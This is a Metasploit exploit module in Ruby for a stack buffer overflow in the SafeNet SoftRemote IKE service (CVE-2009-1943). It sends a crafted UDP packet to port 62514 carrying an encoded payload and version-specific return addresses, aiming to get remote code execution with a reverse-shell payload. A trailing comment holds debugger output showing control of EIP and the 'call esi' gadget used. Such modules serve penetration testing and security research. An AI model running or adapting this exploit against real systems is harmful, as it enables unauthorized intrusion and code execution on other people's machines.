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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Udp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'SafeNet SoftRemote IKE Service Buffer Overflow',
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        'Description' => %q{
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          This module exploits a stack buffer overflow in Safenet SoftRemote IKE IreIKE.exe
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          service. When sending a specially crafted udp packet to port 62514 an
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          attacker may be able to execute arbitrary code. This module has
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          been tested with Juniper NetScreen-Remote 10.8.0 (Build 20) using
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          windows/meterpreter/reverse_ord_tcp payloads.
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        },
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        'Author' => [ 'MC' ],
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        'References' => [
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          [ 'CVE', '2009-1943' ],
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          [ 'OSVDB', '54831' ],
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          [ 'BID', '35154' ],
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          [ 'URL', 'http://reversemode.com/index.php?option=com_content&task=view&id=63&Itemid=1' ],
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'process',
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        },
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        'Payload' => {
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          'Space' => 213,
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          'BadChars' => "\x00\x0a\x20\x0d",
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          'StackAdjustment' => -3500,
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          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
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        },
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        'Privileged' => true,
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        'Platform' => 'win',
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        'Targets' => [
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          [ 'SafeNet Irelke 10.8.0.20', { 'Ret' => 0x004514a9 } ],
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          [ 'SafeNet Irelke 10.8.0.10', { 'Ret' => 0x00451889 } ],
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          [ 'SafeNet Irelke 10.8.3.6', { 'Ret' => 0x00451929 } ],
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        ],
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        'DisclosureDate' => '2009-06-01',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options([Opt::RPORT(62514)], self)
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  end
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  def exploit
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    connect_udp
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    sploit = [0x01000000].pack('V') # IPC packet
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    sploit << [0x00000033].pack('V') # Exploit this thing using command 0x11 (0x33 - 0x28).
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    sploit << payload.encoded
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    sploit << [target.ret].pack('V')
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    sploit << rand_text_alpha_upper(150)
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    print_status("Trying target #{target.name}...")
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    udp_sock.put(sploit)
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    select(nil, nil, nil, 5)
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    handler
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    disconnect_udp
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  end
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end
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=begin
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0:013> g
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(f7c.fe0): Access violation - code c0000005 (first chance)
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First chance exceptions are reported before any exception handling.
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This exception may be expected and handled.
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eax=68413268 ebx=00dcfde8 ecx=00000000 edx=014af53c esi=00dcfdf1 edi=00000000
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eip=41316841 esp=014af64c ebp=00000001 iopl=0         nv up ei pl nz na pe nc
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cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
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41316841 ??              ???
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0:008> !pattern_offset 300
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[Byakugan] Control of eax at offset 217.
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[Byakugan] Control of eip at offset 213.
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0:008> d esp
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014af64c  68 32 41 68 33 41 68 34-41 68 35 41 68 36 41 68  h2Ah3Ah4Ah5Ah6Ah
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014af65c  37 41 68 38 41 68 39 41-69 30 41 69 31 41 69 32  7Ah8Ah9Ai0Ai1Ai2
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014af66c  41 69 33 41 69 34 41 69-35 41 69 36 41 69 37 41  Ai3Ai4Ai5Ai6Ai7A
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014af67c  69 38 41 69 39 41 6a 30-41 6a 31 41 6a 32 41 6a  i8Ai9Aj0Aj1Aj2Aj
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014af68c  33 41 6a 34 41 6a 35 41-6a 36 41 6a 37 41 6a 38  3Aj4Aj5Aj6Aj7Aj8
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014af69c  41 6a 39 41 6b 30 41 6b-31 41 6b 32 41 6b 33 41  Aj9Ak0Ak1Ak2Ak3A
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014af6ac  6b 34 41 6b 35 41 6b 36-41 6b 37 41 6b 38 41 6b  k4Ak5Ak6Ak7Ak8Ak
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014af6bc  39 41 6c 30 41 6c 31 41-6c 32 41 6c 33 41 6c 34  9Al0Al1Al2Al3Al4
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0:008> d esi
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00dcfdf1  61 30 41 61 31 41 61 32-41 61 33 41 61 34 41 61  a0Aa1Aa2Aa3Aa4Aa
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00dcfe01  35 41 61 36 41 61 37 41-61 38 41 61 39 41 62 30  5Aa6Aa7Aa8Aa9Ab0
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00dcfe11  41 62 31 41 62 32 41 62-33 41 62 34 41 62 35 41  Ab1Ab2Ab3Ab4Ab5A
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00dcfe21  62 36 41 62 37 41 62 38-41 62 39 41 63 30 41 63  b6Ab7Ab8Ab9Ac0Ac
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00dcfe31  31 41 63 32 41 63 33 41-63 34 41 63 35 41 63 36  1Ac2Ac3Ac4Ac5Ac6
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00dcfe41  41 63 37 41 63 38 41 63-39 41 64 30 41 64 31 41  Ac7Ac8Ac9Ad0Ad1A
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00dcfe51  64 32 41 64 33 41 64 34-41 64 35 41 64 36 41 64  d2Ad3Ad4Ad5Ad6Ad
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00dcfe61  37 41 64 38 41 64 39 41-65 30 41 65 31 41 65 32  7Ad8Ad9Ae0Ae1Ae2
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0:008> s -b 0x00400000 0x0047c000 ff d6
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.
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.
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004514a9  ff d6 8b e8 8d 44 24 10-c7 44 24 10 00 00 00 00  .....D$..D$.....
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0:008> u 0x004514a9 L1
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IreIKE+0x514a9:
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004514a9 ffd6            call    esi
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=end
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